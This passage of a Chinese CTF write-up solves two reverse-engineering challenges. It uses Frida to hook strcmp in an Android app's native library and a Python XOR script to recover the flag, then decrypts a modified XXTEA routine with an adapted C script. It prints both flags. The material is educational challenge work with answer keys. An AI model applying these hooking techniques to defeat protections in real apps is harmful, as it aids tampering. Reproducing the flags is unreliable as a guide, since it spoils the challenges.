frida -U -f ctfapp.qt.cn --no-pause打开调试状态。

然后在手机上先随便输入东西再点提交确保jntm.so被载入。

然后写个hook脚本:

Interceptor.attach(Module.findExportByName("libjntm.so", "strcmp"), {
    onEnter: function (args) {
        let a0 = args[0].readCString();
        let a1 = args[1].readCString();
        console.log("args[0] int value : " + a0);
        console.log("args[1] int value : " + a1);
    }
});

发现无关数据太多,于是加个筛选逻辑。

Interceptor.attach(Module.findExportByName("libjntm.so", "strcmp"), {
    onEnter: function (args) {
        let a0 = args[0].readCString();
        let a1 = args[1].readCString();
        if (a0 == "ctfapp.qt.cn")
            return;
        console.log("args[0] int value : " + a0);
        console.log("args[1] int value : " + a1);
    }
});

发现还是有一堆无关数据,所以进一步筛选。

Interceptor.attach(Module.findExportByName("libjntm.so", "strcmp"), {
    onEnter: function (args) {
        let a0 = args[0].readCString();
        let a1 = args[1].readCString();
        if (a0 == "ctfapp.qt.cn")
            return;
        if (a0[0] == 'L' && a1[0] == 'L')
            return;
        console.log("args[0] int value : " + a0);
        console.log("args[1] int value : " + a1);
    }
});

无关数据基本上很少了。

file

所以这时候再次随便输入东西确保能触发strcmp

扒拉扒拉发现解密结果。

file

所以写个解密脚本把DC53A962E102ED4CB271380BB9F60E00E045A85AE733E55FAE71220BA5CF1D22E675代入最初java层的异或给解一下。

a = "DC53A962E102ED4CB271380BB9F60E00E045A85AE733E55FAE71220BA5CF1D22E675"
b = bytearray.fromhex(a)
c = [0x88, 0x24, 0xc6, 0x3d, 0xb8, 0x67, 0x8c, 0x3e, 0xc1, 0x2e, 0x70, 0x6a, 0xd5, 0x90, 0x51, 0x43]
for i in range(len(b)):
    b[i] ^= c[i % len(c)]
print(b)

成功拿到flag。

flag{Two_Years_Half_Chang_Tiao_Rap_LanQ}

tea

IDA打开发现主要逻辑在sub_140001000

file

结合文件名可以推测这个函数是xxtea的加密函数。

file

所以上网找个解密脚本,然后改改魔数和sum的累计方式,再把数据代进去。

[原创]TEA、XTEA、XXTEA加解密过程及案例-密码应用-看雪论坛

#include <stdio.h>
#define delta 1640531527

int main()
{
    unsigned int v[9] = {0x6456DD95, 0x2A41FD67, 0x0AFE574A5, 0x4BFA8D72, 0x0E2BF316F, 0x166B34BD, 0x6232283A, 0x4A1A8794, 0x0D591779B};
    unsigned int key[4] = {0x5571CB4E, 0xC38A9D2F, 0x1D835B62, 0x93C3DC19};
    unsigned int sum = 0;
    unsigned int y,z,p,rounds,e;
    int n = 9;
    int i = 0;
    rounds = 6 + 52/n;
    y = v[0];
    sum = -rounds*delta;
    do
    {
        e = sum >> 2 & 3;
        for(p=n-1;p>0;p--)
        {
            z = v[p-1];
            v[p] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
            y = v[p];
        }
        z = v[n-1];
        v[0] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
        y = v[0];
        sum = sum+delta;
    }while(--rounds);

    for(i=0;i<n;i++)
    {
        printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
        //printf("%c%c%c%c",*((char*)&v[i]+3),*((char*)&v[i]+2),*((char*)&v[i]+1),*((char*)&v[i]+0));
    }
    return 0;
}

执行得到flag。

flag{3430DF69-C220-40F9-9667-2B8C4A2FE6E9}


The End